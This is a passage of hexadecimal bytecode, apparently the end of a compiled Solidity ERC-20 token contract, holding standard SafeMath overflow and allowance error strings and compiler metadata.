2087565b925082612d4357612d42612cee565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612daa602183611f7d565b9150612db582612d4e565b604082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612e16601b83611f7d565b9150612e2182612de0565b602082019050919050565b60006020820190508181036000830152612e4581612e09565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085e31c7f336c36c56b06cbfd5e2304cd85d7b5cb5ee027473e64c4523d2629e764736f6c63430008120033